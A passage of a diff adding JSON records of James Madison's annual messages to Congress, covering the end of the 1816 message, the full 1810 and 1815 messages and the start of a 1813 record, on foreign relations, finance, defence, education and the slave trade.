order\nto effectuate a comprehensive system of roads and canals, such as will have\nthe effect of drawing more closely together every part of our country by\npromoting intercourse and improvements and by increasing the share of every\npart in the common stock of national prosperity.Occurrences having taken place which shew that the statutory provisions for\nthe dispensation of criminal justice are deficient in relation both to\nplaces and to persons under the exclusive cognizance of the national\nauthority, an amendment of the law embracing such cases will merit the\nearliest attention of the Legislature. It will be a seasonable occasion\nalso for inquiring how far legislative interposition may be further\nrequisite in providing penalties for offenses designated in the\nConstitution or in the statutes, and to which either no penalties are\nannexed or none with sufficient certainty. And I submit to the wisdom of\nCongress whether a more enlarged revisal of the criminal code be not\nexpedient for the purpose of mitigating in certain cases penalties which\nwere adopted into it antecedent to experiment and examples which justify\nand recommend a more lenient policy.The United States, having been the first to abolish within the extent of\ntheir authority the transportation of the natives of Africa into slavery,\nby prohibiting the introduction of slaves and by punishing their citizens\nparticipating in the traffic, can not but be gratified at the progress made\nby concurrent efforts of other nations toward a general suppression of so\ngreat an evil. They must feel at the same time the greater solicitude to\ngive the fullest efficacy to their own regulations. With that view, the\ninterposition of Congress appears to be required by the violations and\nevasions which it is suggested are chargeable on unworthy citizens who\nmingle in the slave trade under foreign flags and with foreign ports, and\nby collusive importations of slaves into the United States through\nadjoining ports and territories. I present the subject to Congress with a\nfull assurance of their disposition to apply all the remedy which can be\nafforded by an amendment of the law. The regulations which were intended to\nguard against abuses of a kindred character in the trade between the\nseveral States ought also to be rendered more effectual for their humane\nobject.To these recommendations I add, for the consideration of Congress, the\nexpediency of a remodification of the judiciary establishment, and of an\nadditional department in the executive branch of the Government.The first is called for by the accruing business which necessarily swells\nthe duties of the Federal courts, and by the great and widening space\nwithin which justice is to be dispensed by them. The time seems to have\narrived which claims for members of the Supreme Court a relief from\nitinerary fatigues, incompatible as well with the age which a portion of\nthem will always have attained as with the researches and preparations\nwhich are due to their stations and to the juridical reputation of their\ncountry. And considerations equally cogent require a more convenient\norganization of the subordinate tribunals, which may be accomplished\nwithout an objectionable increase of the number or expense of the judges.The extent and variety of executive business also accumulating with the\nprogress of our country and its growing population call for an additional\ndepartment, to be charged with duties now over-burdening other departments\nand with such as have not been annexed to any department.The course of experience recommends, as another improvement in the\nexecutive establishment, that the provision for the station of\nAttorney-General, whose residence at the seat of Government, official\nconnections with it, and the management of the public business before the\njudiciary preclude an extensive participation in professional emoluments,\nbe made more adequate to his services and his relinquishments, and that,\nwith a view to his reasonable accommodation and to a proper depository of\nhis official opinions and proceedings, there be included in the provision\nthe usual appurtenances to a public office.In directing the legislative attention to the state of the finances it is a\nsubject of great gratification to find that even within the short period\nwhich has elapsed since the return of peace the revenue has far exceeded\nall the current demands upon the Treasury, and that under any probable\ndiminution of its future annual products which the vicissitudes of commerce\nmay occasion it will afford an ample fund for the effectual and early\nextinguishment of the public debt. It has been estimated that during the\nyear 1816 the actual receipts of revenue at the Treasury, including the\nbalance at the commencement of the year, and excluding the proceeds of\nloans and Treasury notes, will amount to about the sum of $47 millions;\nthat during the same year the actual payments at the Treasury, including\nthe payment of the arrearages of the War Department as well as the payment\nof a considerable excess beyond the annual appropriations, will amount to\nabout the sum of $38 millions, and that consequently at the close of the\nyear there will be a surplus in the Treasury of about the sum of $9\nmillions.The operations of the Treasury continued to be obstructed by difficulties\narising from the condition of the national currency, but they have\nnevertheless been effectual to a beneficial extent in the reduction of the\npublic debt and the establishment of the public credit. The floating debt\nof Treasury notes and temporary loans will soon be entirely discharged. The\naggregate of the funded debt, composed of debts incurred during the wars of\n1776 and 1812, has been estimated with reference to the first of January\nnext at a sum not exceeding $110 millions. The ordinary annual expenses of\nthe Government for the maintenance of all its institutions, civil,\nmilitary, and naval, have been estimated at a sum greater than $20\nmillions, and the permanent revenue to be derived from all the existing\nsources has been estimated at a sum of $25 millions.Upon this general view of the subject it is obvious that there is only\nwanting to the fiscal prosperity of the Government the restoration of an\nuniform medium of exchange. The resources and the faith of the nation,\ndisplayed in the system which Congress has established, insure respect and\nconfidence both at home and abroad. The local accumulations of the revenue\nhave already enabled the Treasury to meet the public engagements in the\nlocal currency of most of the States, and it is expected that the same\ncause will produce the same effect throughout the Union; but for the\ninterests of the community at large, as well as for the purposes of the\nTreasury, it is essential that the nation should possess a currency of\nequal value, credit, and use wherever it may circulate. The Constitution\nhas intrusted Congress exclusively with the power of creating and\nregulating a currency of that description, and the measures which were\ntaken during the last session in execution of the power give every promise\nof success. The Bank of the United States has been organized under auspices\nthe most favorable, and can not fail to be an important auxiliary to those\nmeasures.For a more enlarged view of the public finances, with a view of the\nmeasures pursued by the Treasury Department previous to the resignation of\nthe late Secretary, I transmit an extract from the last report of that\nofficer. Congress will perceive in it ample proofs of the solid foundation\non which the financial prosperity of the nation rests, and will do justice\nto the distinguished ability and successful exertions with which the duties\nof the Department were executed during a period remarkable for its\ndifficulties and its peculiar perplexities.The period of my retiring from the public service being at little distance,\nI shall find no occasion more proper than the present for expressing to my\nfellow citizens my deep sense of the continued confidence and kind support\nwhich I have received from them. My grateful recollection of these\ndistinguished marks of their favorable regard can never cease, and with the\nconsciousness that, if I have not served my country with greater ability, I\nhave served it with a sincere devotion will accompany me as a source of\nunfailing gratification.Happily, I shall carry with me from the public theater other sources, which\nthose who love their country most will best appreciate. I shall behold it\nblessed with tranquillity and prosperity at home and with peace and respect\nabroad. I can indulge the proud reflection that the American people have\nreached in safety and success their 40th year as an independent nation;\nthat for nearly an entire generation they have had experience of their\npresent Constitution, the off-spring of their undisturbed deliberations and\nof their free choice; that they have found it to bear the trials of adverse\nas well as prosperous circumstances; to contain in its combination of the\nfederate and elective principles a reconcilement of public strength with\nindividual liberty, of national power for the defense of national rights\nwith a security against wars of injustice, of ambition, and vain-glory in\nthe fundamental provision which subjects all questions of war to the will\nof the nation itself, which is to pay its costs and feel its calamities.\nNor is it less a peculiar felicity of this Constitution, so dear to us all,\nthat it is found to be capable, without losing its vital energies, of\nexpanding itself over a spacious territory with the increase and expansion\nof the community for whose benefit it was established.And may I not be allowed to add to this gratifying spectacle that I shall\nread in the character of the American people, in their devotion to true\nliberty and to the Constitution which is its palladium, sure presages that\nthe destined career of my country will exhibit a Government pursuing the\npublic good as its sole object, and regulating its means by the great\nprinciples consecrated in its charter and by those moral principles to\nwhich they are so well allied; a Government which watches over the purity\nof elections, the freedom of speech and of the press, the trial by jury,\nand the equal interdict against encroachments and compacts between religion\nand the state; which maintains inviolably the maxims of public faith, the\nsecurity of persons and property, and encourages in every authorized mode\nthe general diffusion of knowledge which guarantees to public liberty its\npermanency and to those who possess the blessing the true enjoyment of it;\na Government which avoids intrusions on the internal repose of other\nnations, and repels them from its own; which does justice to all nations\nwith a readiness equal to the firmness with which it requires justice from\nthem; and which, whilst it refines its domestic code from every ingredient\nnot congenial with the precepts of an enlightened age and the sentiments of\na virtuous people, seeks by appeals to reason and by its liberal examples\nto infuse into the law which governs the civilized world a spirit which may\ndiminish the frequency or circumscribe the calamities of war, and meliorate\nthe social and beneficent relations of peace; a Government, in a word,\nwhose conduct within and without may bespeak the most noble of ambitions--\nthat of promoting peace on earth and good will to man.These contemplations, sweetening the remnant of my days, will animate my\nprayers for the happiness of my beloved country, and a perpetuity of the\ninstitutions under which it is enjoyed.", 
+    "name": "James Madison"
+}
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+{
+    "date": "December 5, 1810", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The embarrassments which have prevailed in our foreign relations, and so\nmuch employed the deliberations of Congress, make it a primary duty in\nmeeting you to communicate whatever may have occurred in that branch of our\nnational affairs.The act of the last session of Congress concerning the commercial\nintercourse between the United States and Great Britain and France and\ntheir dependencies having invited in a new form a termination of their\nedicts against our neutral commerce, copies of the act were immediately\nforwarded to our ministers at London and Paris, with a view that its object\nmight be within the early attention of the French and British Governments.By the communication received through our minister at Paris it appeared\nthat knowledge of the act by the French Government was followed by a\ndeclaration that the Berlin and Milan decrees were revoked, and would cease\nto have effect on the first day of November ensuing. These being the only\nknown edicts of France within the description of the act, and the\nrevocation of them being such that they ceased at that date to violate our\nneutral commerce, the fact, as prescribed by law, was announced by a\nproclamation bearing date the 2nd of November.It would have well accorded with the conciliatory views indicated by this\nproceeding on the part of France to have extended them to all the grounds\nof just complaint which now remain unadjusted with the United States. It\nwas particularly anticipated that, as a further evidence of just\ndispositions toward them, restoration would have been immediately made of\nthe property of our citizens under a misapplication of the principle of\nreprisals combined with a misconstruction of a law of the United States.\nThis expectation has not been fulfilled.From the British Government no communication on the subject of the act has\nbeen received. To a communication from our minister at London of a\nrevocation by the French Government of its Berlin and Milan decrees it was\nanswered that the British system would be relinquished as soon as the\nrepeal of the French decrees should have actually taken effect and the\ncommerce of neutral nations have been restored to the condition in which it\nstood previously to the promulgation of those decrees. This pledge,\nalthough it does not necessarily import, does not exclude the intention of\nrelinquishing, along with the others in council, the practice of those\nnovel blockades which have a like effect of interrupting our neutral\ncommerce, and this further justice to the United States is the rather to be\nlooked for, in as much as the blockades in question, being not more\ncontrary to the established law of nations than inconsistent with the rules\nof blockade formally recognized by Great Britain herself, could have no\nalleged basis other than the plea of retaliation alleged as the basis of\nthe orders in council.Under the modification of the original orders of November, 1807, into the\norders of April, 1809, there is, indeed, scarcely a nominal distinction\nbetween the orders and the blockades. One of those illegitimate blockades,\nbearing date in May, 1806, having been expressly avowed to be still\nunrescinded, and to be in effect comprehended in the orders in council, was\ntoo distinctly brought within the purview of the act of Congress not to be\ncomprehended in the explanation of the requisites to a compliance with it.\nThe British Government was accordingly apprised by our minister near it\nthat such was the light in which the subject was to be regarded.On the other important subjects depending between the United States and the\nGovernment no progress has been made from which an early and satisfactory\nresult can be relied on.In this new posture of our relations with those powers the consideration of\nCongress will be properly turned to a removal of doubts which may occur in\nthe exposition and of difficulties in the execution of the act above\ncited.The commerce of the United States with the north of Europe, heretofore much\nvexed by licentious cruisers, particularly under the Danish flag, has\nlatterly been visited with fresh and extensive depredations. The measures\npursued in behalf of our injured citizens not having obtained justice for\nthem, a further and more formal interposition with the Danish Government is\ncontemplated. The principles which have been maintained by that Government\nin relation to neutral commerce, and the friendly professions of His Danish\nMajesty toward the United States, are valuable pledges in favor of a\nsuccessful issue.Among the events growing out of the state of the Spanish Monarchy, our\nattention was imperiously attracted to the change developing itself in that\nportion of West Florida which, though of right appertaining to the United\nStates, had remained in the possession of Spain awaiting the result of\nnegotiations for its actual delivery to them. The Spanish authority was\nsubverted and a situation produced exposing the country to ulterior events\nwhich might essentially affect the rights and welfare of the Union. In such\na conjuncture I did not delay the interposition required for the occupancy\nof the territory west of the river Perdido, to which the title of the\nUnited States extends, and to which the laws provided for the Territory of\nOrleans are applicable. With this view, the proclamation of which a copy is\nlaid before you was confided to the governor of that Territory to be\ncarried into effect. The legality and necessity of the course pursued\nassure me of the favorable light in which it will present itself to the\nLegislature, and of the promptitude with which they will supply whatever\nprovisions may be due to the essential rights and equitable interests of\nthe people thus brought into the bosom of the American family.Our amity with the powers of Barbary, with the exception of a recent\noccurrence at Tunis, of which an explanation is just received, appears to\nhave been uninterrupted and to have become more firmly established.With the Indian tribes also the peace and friendship of the United States\nare found to be so eligible that the general disposition to preserve both\ncontinues to gain strength.I feel particular satisfaction in remarking that an interior view of our\ncountry presents us with grateful proofs of its substantial and increasing\nprosperity. To a thriving agriculture and the improvements related to it is\nadded a highly interesting extension of useful manufactures, the combined\nproduct of professional occupations and of household industry. Such indeed\nis the experience of economy as well as of policy in these substitutes for\nsupplies heretofore obtained by foreign commerce that in a national view\nthe change is justly regarded as of itself more than a recompense for those\nprivations and losses resulting from foreign injustice which furnished the\ngeneral impulse required for its accomplishment. How far it may be\nexpedient to guard the infancy of this improvement in the distribution of\nlabor by regulations of the commercial tariff is a subject which can not\nfail to suggest itself to your patriotic reflections.It will rest with the consideration of Congress also whether a provident as\nwell as fair encouragement would not be given to our navigation by such\nregulations as would place it on a level of competition with foreign\nvessels, particularly in transporting the important and bulky productions\nof our own soil. The failure of equality and reciprocity in the existing\nregulations on this subject operates in our ports as a premium to foreign\ncompetitors, and the inconvenience must increase as these may be multiplied\nunder more favorable circumstances by the more than countervailing\nencouragements now given them by the laws of their respective countries.Whilst it is universally admitted that a well-instructed people alone can\nbe permanently a free people, and whilst it is evident that the means of\ndiffusing and improving useful knowledge form so small a proportion of the\nexpenditures for national purposes, I can not presume it to be unseasonable\nto invite your attention to the advantages of superadding to the means of\neducation provided by the several States a seminary of learning instituted\nby the National Legislature within the limits of their exclusive\njurisdiction, the expense of which might be defrayed or reimbursed out of\nthe vacant grounds which have accrued to the nation within those limits.Such an institution, though local in its legal character, would be\nuniversal in its beneficial effects. By enlightening the opinions, by\nexpanding the patriotism, and by assimilating the principles, the\nsentiments, and the manners of those who might resort to this temple of\nscience, to be redistributed in due time through every part of the\ncommunity, sources of jealousy and prejudice would be diminished, the\nfeatures of national character would be multiplied, and greater extent\ngiven to social harmony. But, above all, a well-constituted seminary in\nthe center of the nation is recommended by the consideration that the\nadditional instruction emanating from it would contribute not less to\nstrengthen the foundations than to adorn the structure of our free and\nhappy system of government.Among the commercial abuses still committed under the American flag, and\nleaving in force my former reference to that subject, it appears that\nAmerican citizens are instrumental in carrying on a traffic in enslaved\nAfricans, equally in violation of the laws of humanity and in defiance of\nthose of their own country. The same just and benevolent motives which\nproduced interdiction in force against this criminal conduct will doubtless\nbe felt by Congress in devising further means of suppressing the evil.In the midst of uncertainties necessarily connected with the great\ninterests of the United States, prudence requires a continuance of our\ndefensive and precautionary arrangement. The Secretary of War and Secretary\nof the Navy will submit the statements and estimates which may aid Congress\nin their ensuing provisions for the land and naval forces. The statements\nof the latter will include a view of the transfers of appropriations in the\nnaval expenditures and in the grounds on which they were made.The fortifications for the defense of our maritime frontier have been\nprosecuted according to the plan laid down in 1808. The works, with some\nexceptions, are completed and furnished with ordnance. Those for the\nsecurity of the city of New York, though far advanced toward completion,\nwill require a further time and appropriation. This is the case with a few\nothers, either not completed or in need of repairs.The improvements in quality and quantity made in the manufacture of cannon\nand small arms, both at the public armories and private factories, warrant\nadditional confidence in the competency of these resources for supplying\nthe public exigencies.These preparations for arming the militia having thus far provided for one\nof the objects contemplated by the power vested in Congress with respect\nto that great bulwark of the public safety, it is for their consideration\nwhether further provisions are not requisite for the other contemplated\nobjects of organization and discipline. To give to this great mass of\nphysical and moral force the efficiency which it merits, and is capable of\nreceiving, it is indispensable that they should be instructed and practiced\nin the rules by which they are to be governed. Toward an accomplishment of\nthis important work I recommend for the consideration of Congress the\nexpediency of instituting a system which shall in the first instance call\ninto the field at the public expense and for a given time certain portions\nof the commissioned and non-commissioned officers. The instruction and\ndiscipline thus acquired would gradually diffuse through the entire body of\nthe militia that practical knowledge and promptitude for active service\nwhich are the great ends to be pursued. Experience has left no doubt either\nof the necessity or of the efficacy of competent military skill in those\nportions of an army in fitting it for the final duties which it may have to\nperform.The Corps of Engineers, with the Military Academy, are entitled to the\nearly attention of Congress. The buildings at the seat fixed by law for the\npresent Academy are so far in decay as not to afford the necessary\naccommodation. But a revision of the law is recommended, principally with a\nview to a more enlarged cultivation and diffusion of the advantages of such\ninstitutions, by providing professorships for all the necessary branches of\nmilitary instruction, and by the establishment of an additional academy at\nthe seat of Government or elsewhere. The means by which war, as well for\ndefense as for offense, are now carried on render these schools of the more\nscientific operations an indispensable part of every adequate system.Even among nations whose large standing armies and frequent wars afford\nevery other opportunity of instruction these establishments are found to be\nindispensable for the due attainment of the branches of military science\nwhich require a regular course of study and experiment. In a government\nhappily without the other opportunities seminaries where the elementary\nprinciples of the art of war can be taught without actual war, and without\nthe expense of extensive and standing armies, have the precious advantage\nof uniting an essential preparation against external danger with a\nscrupulous regard to internal safety. In no other way, probably, can a\nprovision of equal efficacy for the public defense be made at so little\nexpense or more consistently with the public liberty.The receipts into the Treasury during the year ending on the 30th of\nSeptember last (and amounting to more than $8.5 millions) have exceeded\nthe current expenses of the Government, including the interest on the\npublic debt. For the purpose of reimbursing at the end of the year $3.75\nmillions of the principal, a loan, as authorized by law, had been\nnegotiated to that amount, but has since been reduced to $2.75 millions,\nthe reduction being permitted by the state of the Treasury, in which there\nwill be a balance remaining at the end of the year estimated at $2\nmillions. For the probable receipts of the next year and other details I\nrefer to statements which will be transmitted from the Treasury, and which\nwill enable you to judge what further provisions may be necessary for the\nensuing years.Reserving for future occasions in the course of the session whatever other\ncommunications may claim your attention, I close the present by expressing\nmy reliance, under the blessing of Divine Providence, on the judgement and\npatriotism which will guide your measures at a period particularly calling\nfor united councils and flexible exertions for the welfare of our country,\nand by assuring you of the fidelity and alacrity with which my cooperation\nwill be afforded.", 
+    "name": "James Madison"
+}
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+{
+    "date": "December 5, 1815", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:I have the satisfaction on our present meeting of being able to communicate\nthe successful termination of the war which had been commenced against the\nUnited States by the Regency of Algiers. The squadron in advance on that\nservice, under Commodore Decatur, lost not a moment after its arrival in\nthe Mediterranean in seeking the naval force of the enemy then cruising in\nthat sea, and succeeded in capturing two of his ships, one of them the\nprincipal ship, commanded by the Algerine admiral. The high character of\nthe American commander was brilliantly sustained on the occasion which\nbrought his own ship into close action with that of his adversary, as was\nthe accustomed gallantry of all the officers and men actually engaged.\nHaving prepared the way by this demonstration of American skill and\nprowess, he hastened to the port of Algiers, where peace was promptly\nyielded to his victorious force.In the terms stipulated the rights and honor of the United States were\nparticularly consulted by a perpetual relinquishment on the part of the Dey\nof all pretensions to tribute from them. The impressions which have thus\nbeen made, strengthened as they will have been by subsequent transactions\nwith the Regencies of Tunis and of Tripoli by the appearance of the larger\nforce which followed under Commodore Bainbridge, the chief in command of\nthe expedition, and by the judicious precautionary arrangements left by him\nin that quarter, afford a reasonable prospect of future security for the\nvaluable portion of our commerce which passes within reach of the Barbary\ncruisers.It is another source of satisfaction that the treaty of peace with Great\nBritain has been succeeded by a convention on the subject of commerce\nconcluded by the plenipotentiaries of the two countries. In this result a\ndisposition is manifested on the part of that nation corresponding with the\ndisposition of the United States, which it may be hoped will be improved\ninto liberal arrangements on other subjects on which the parties have\nmutual interests, or which might endanger their future harmony. Congress\nwill decide on the expediency of promoting such a sequel by giving effect\nto the measure of confining the American navigation to American sea men--a\nmeasure which, at the same time that it might have that conciliatory\ntendency, would have the further advantage of increasing the independence\nof our navigation and the resources for our maritime defense.In conformity with the articles in the treaty of Ghent relating to the\nIndians, as well as with a view to the tranquillity of our western and\nnorthwestern frontiers, measures were taken to establish an immediate peace\nwith the several tribes who had been engaged in hostilities against the\nUnited States. Such of them as were invited to Detroit acceded readily to a\nrenewal of the former treaties of friendship. Of the other tribes who were\ninvited to a station on the Mississippi the greater number have also\naccepted the peace offered to them. The residue, consisting of the more\ndistant tribes or parts of tribes, remain to be brought over by further\nexplanations, or by such other means as may be adapted to the dispositions\nthey may finally disclose.The Indian tribes within and bordering on the southern frontier, whom a\ncruel war on their part had compelled us to chastise into peace, have\nlatterly shown a restlessness which has called for preparatory measures for\nrepressing it, and for protecting the commissioners engaged in carrying the\nterms of the peace into execution.The execution of the act for fixing the military peace establishment has\nbeen attended with difficulties which even now can only be overcome by\nlegislative aid. The selection of officers, the payment and discharge of\nthe troops enlisted for the war, the payment of the retained troops and\ntheir reunion from detached and distant stations, the collection and\nsecurity of the public property in the Quartermaster, Commissary, and\nOrdnance departments, and the constant medical assistance required in\nhospitals and garrisons rendered a complete execution of the act\nimpracticable on the 1st of May, the period more immediately contemplated.\nAs soon, however, as circumstances would permit, and as far as it has been\npracticable consistently with the public interests, the reduction of the\nArmy has been accomplished; but the appropriations for its pay and for\nother branches of the military service having proved inadequate, the\nearliest attention to that subject will be necessary; and the expediency of\ncontinuing upon the peace establishment the staff officers who have\nhitherto been provisionally retained is also recommended to the\nconsideration of Congress.In the performance of the Executive duty upon this occasion there has not\nbeen wanting a just sensibility to the merits of the American Army during\nthe late war; but the obvious policy and design in fixing an efficient\nmilitary peace establishment did not afford an opportunity to distinguish\nthe aged and infirm on account of their past services nor the wounded and\ndisabled on account of their present sufferings.The extent of the reduction, indeed, unavoidably involved the exclusion of\nmany meritorious officers of every rank from the service of their country;\nand so equal as well as so numerous were the claims to attention that a\ndecision by the standard of comparative merit could seldom be attained.\nJudged, however, in candor by a general standard of positive merit, the\nArmy Register will, it is believed, do honor to the establishment, while\nthe case of those officers whose names are not included in it devolves with\nthe strongest interest upon the legislative authority for such provisions\nas shall be deemed the best calculated to give support and solace to the\nveteran and the invalid, to display the beneficence as well as the justice\nof the Government, and to inspire a martial zeal for the public service\nupon every future emergency.Although the embarrassments arising from the want of an uniform national\ncurrency have not been diminished since the adjournment of Congress, great\nsatisfaction has been derived in contemplating the revival of the public\ncredit and the efficiency of the public resources. The receipts into the\nTreasury from the various branches of revenue during the nine months ending\non the 30th of September last have been estimated at $12.5 millions; the\nissues of Treasury notes of every denomination during the same period\namounted to the sum of $14 millions, and there was also obtained upon loan\nduring the same period a sum of $9 millions, of which the sum of $6\nmillions was subscribed in cash and the sum of $3 millions in Treasury\nnotes.With these means, added to the sum of $1.5 millions, being the balance of\nmoney in the Treasury on the 1st day of January, there has been paid\nbetween the 1st of January and the 1st of October on account of the\nappropriations of the preceding and of the present year (exclusively of\nthe amount of the Treasury notes subscribed to the loan and of the amount\nredeemed in the payment of duties and taxes) the aggregate sum of $33.5\nmillions, leaving a balance then in the Treasury estimated at the sum of\n$3 millions. Independent, however of the arrearages due for military\nservices and supplies, it is presumed that a further sum of $5 millions,\nincluding the interest on the public debt payable on the 1st of January\nnext, will be demanded at the Treasury to complete the expenditures of\nthe present year, and for which the existing ways and means will\nsufficiently provide.The national debt, as it was ascertained on the 1st of October last,\namounted in the whole to the sum of $120 millions, consisting of the\nunredeemed balance of the debt contracted before the late war ($39\nmillions), the amount of the funded debt contracted in consequence of the\nwar ($64 millions), and the amount of the unfunded and floating debt,\nincluding the various issues of Treasury notes, $17 millions, which is in\ngradual course of payment.There will probably be some addition to the public debt upon the\nliquidation of various claims which are depending, and a conciliatory\ndisposition on the part of Congress may lead honorably and advantageously\nto an equitable arrangement of the militia expenses incurred by the several\nStates without the previous sanction or authority of the Government of the\nUnited States; but when it is considered that the new as well as the old\nportion of the debt has been contracted in the assertion of the national\nrights and independence, and when it is recollected that the public\nexpenditures, not being exclusively bestowed upon subjects of a transient\nnature, will long be visible in the number and equipments of the American\nNavy, in the military works for the defense of our harbors and our\nfrontiers, and in the supplies of our arsenals and magazines the amount\nwill bear a gratifying comparison with the objects which have been\nattained, as well as with the resources of the country.The arrangements of the finances with a view to the receipts and\nexpenditures of a permanent peace establishment will necessarily enter into\nthe deliberations of Congress during the present session. It is true that\nthe improved condition of the public revenue will not only afford the means\nof maintaining the faith of the Government with its creditors inviolate,\nand of prosecuting successfully the measures of the most liberal policy,\nbut will also justify an immediate alleviation of the burdens imposed by\nthe necessities of the war.It is, however, essential to every modification of the finances that the\nbenefits of an uniform national currency should be restored to the\ncommunity. The absence of the precious metals will, it is believed, be a\ntemporary evil, but until they can again be rendered the general medium of\nexchange it devolves on the wisdom of Congress to provide a substitute\nwhich shall equally engage the confidence and accommodate the wants of the\ncitizens throughout the Union. If the operation of the State banks can not\nproduce this result, the probable operation of a national bank will merit\nconsideration; and if neither of these expedients be deemed effectual it\nmay become necessary to ascertain the terms upon which the notes of the\nGovernment (no longer required as an instrument of credit) shall be issued\nupon motives of general policy as a common medium of circulation.Notwithstanding the security for future repose which the United States\nought to find in their love of peace and their constant respect for the\nrights of other nations, the character of the times particularly inculcates\nthe lesson that, whether to prevent or repel danger, we ought not to be\nunprepared for it. This consideration will sufficiently recommend to\nCongress a liberal provision for the immediate extension and gradual\ncompletion of the works of defense, both fixed and floating, on our\nmaritime frontier, and an adequate provision for guarding our inland\nfrontier against dangers to which certain portions of it may continue to be\nexposed.As an improvement in our military establishment, it will deserve the\nconsideration of Congress whether a corps of invalids might not be so\norganized and employed as at once to aid in the support of meritorious\nindividuals excluded by age or infirmities from the existing establishment,\nand to procure to the public the benefit of their stationary services and\nof their exemplary discipline.I recommend also an enlargement of the Military Academy already\nestablished, and the establishment of others in other sections of the\nUnion; and I can not press too much on the attention of Congress such a\nclassification and organization of the militia as will most effectually\nrender it the safeguard of a free state. If experience has shewn in the\nrecent splendid achievements of militia the value of this resource for the\npublic defense, it has shewn also the importance of that skill in the use\nof arms and that familiarity with the essential rules of discipline which\ncan not be expected from the regulations now in force.With this subject is intimately connected the necessity of accommodating\nthe laws in every respect to the great object of enabling the political\nauthority of the Union to employ promptly and effectually the physical\npower of the Union in the cases designated by the Constitution.The signal services which have been rendered by our Navy and the capacities\nit has developed for successful cooperation in the national defense will\ngive to that portion of the public force its full value in the eyes of\nCongress, at an epoch which calls for the constant vigilance of all\ngovernments. To preserve the ships now in a sound state, to complete those\nalready contemplated, to provide amply the imperishable materials for\nprompt augmentations, and to improve the existing arrangements into more\nadvantageous establishments for the construction, the repairs, and the\nsecurity of vessels of war is dictated by the soundest policy.In adjusting the duties on imports to the object of revenue the influence\nof the tariff on manufactures will necessarily present itself for\nconsideration. However wise the theory may be which leaves to the sagacity\nand interest of individuals the application of their industry and\nresources, there are in this as in other cases exceptions to the general\nrule. Besides the condition which the theory itself implies of reciprocal\nadoption by other nations, experience teaches that so many circumstances\nmust concur in introducing and maturing manufacturing establishments,\nespecially of the more complicated kinds, that a country may remain long\nwithout them, although sufficiently advanced and in some respects even\npeculiarly fitted for carrying them on with success. Under circumstances\ngiving a powerful impulse to manufacturing industry it has made among us a\nprogress and exhibited an efficiency which justify the belief that with a\nprotection not more than is due to the enterprising citizens whose\ninterests are now at stake it will become at an early day not only safe\nagainst occasional competitions from abroad, but a source of domestic\nwealth and even of external commerce.In selecting the branches more especially entitled to the public patronage\na preference is obviously claimed by such as will relieve the United States\nfrom a dependence on foreign supplies, ever subject to casual failures, for\narticles necessary for the public defense or connected with the primary\nwants of individuals. It will be an additional recommendation of particular\nmanufactures where the materials for them are extensively drawn from our\nagriculture, and consequently impart and insure to that great fund of\nnational prosperity and independence an encouragement which can not fail to\nbe rewarded.Among the means of advancing the public interest the occasion is a proper\none for recalling the attention of Congress to the great importance of\nestablishing throughout our country the roads and canals which can best be\nexecuted under the national authority. No objects within the circle of\npolitical economy so richly repay the expense bestowed on them; there are\nnone the utility of which is more universally ascertained and acknowledged;\nnone that do more honor to the governments whose wise and enlarged\npatriotism duly appreciates them. Nor is there any country which presents a\nfield where nature invites more the art of man to complete her own work for\nhis accommodation and benefit.These considerations are strengthened, moreover, by the political effect of\nthese facilities for intercommunication in bringing and binding more\nclosely together the various parts of our extended confederacy. Whilst the\nStates individually, with a laudable enterprise and emulation, avail\nthemselves of their local advantages by new roads, by navigable canals, and\nby improving the streams susceptible of navigation, the General Government\nis the more urged to similar undertakings, requiring a national\njurisdiction and national means, by the prospect of thus systematically\ncompleting so inestimable a work; and it is a happy reflection that any\ndefect of constitutional authority which may be encountered can be supplied\nin a mode which the Constitution itself has providently pointed out.The present is a favorable season also for bringing again into view the\nestablishment of a national seminary of learning within the District of\nColumbia, and with means drawn from the property therein, subject to the\nauthority of the General Government. Such an institution claims the\npatronage of Congress as a monument of their solicitude for the advancement\nof knowledge, without which the blessings of liberty can not be fully\nenjoyed or long preserved; as a model instructive in the formation of other\nseminaries; as a nursery of enlightened preceptors, and as a central resort\nof youth and genius from every part of their country, diffusing on their\nreturn examples of those national feelings, those liberal sentiments, and\nthose congenial manners which contribute cement to our Union and strength\nto the great political fabric of which that is the foundation.In closing this communication I ought not to repress a sensibility, in\nwhich you will unite, to the happy lot of our country and to the goodness\nof a superintending Providence, to which we are indebted for it. Whilst\nother portions of mankind are laboring under the distresses of war or\nstruggling with adversity in other forms, the United States are in the\ntranquil enjoyment of prosperous and honorable peace. In reviewing the\nscenes through which it has been attained we can rejoice in the proofs\ngiven that our political institutions, founded in human rights and framed\nfor their preservation, are equal to the severest trials of war, as well\nadapted to the ordinary periods of repose.As fruits of this experience and of the reputation acquired by the American\narms on the land and on the water, the nation finds itself possessed of a\ngrowing respect abroad and of a just confidence in itself, which are among\nthe best pledges for its peaceful career. Under other aspects of our\ncountry the strongest features of its flourishing condition are seen in a\npopulation rapidly increasing on a territory as productive as it is\nextensive; in a general industry and fertile ingenuity which find their\nample rewards, and in an affluent revenue which admits a reduction of the\npublic burdens without withdrawing the means of sustaining the public\ncredit, of gradually discharging the public debt, of providing for the\nnecessary defensive and precautionary establishments, and of patronizing in\nevery authorized mode undertakings conducive to the aggregate wealth and\nindividual comfort of our citizens.It remains for the guardians of the public welfare to persevere in that\njustice and good will toward other nations which invite a return of these\nsentiments toward the United States; to cherish institutions which\nguarantee their safety and their liberties, civil and religious; and to\ncombine with a liberal system of foreign commerce an improvement of the\nnational advantages and a protection and extension of the independent\nresources of our highly favored and happy country.In all measures having such objects my faithful cooperation will be\nafforded.", 
+    "name": "James Madison"
+}
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+{
+    "date": "December 7, 1813", 
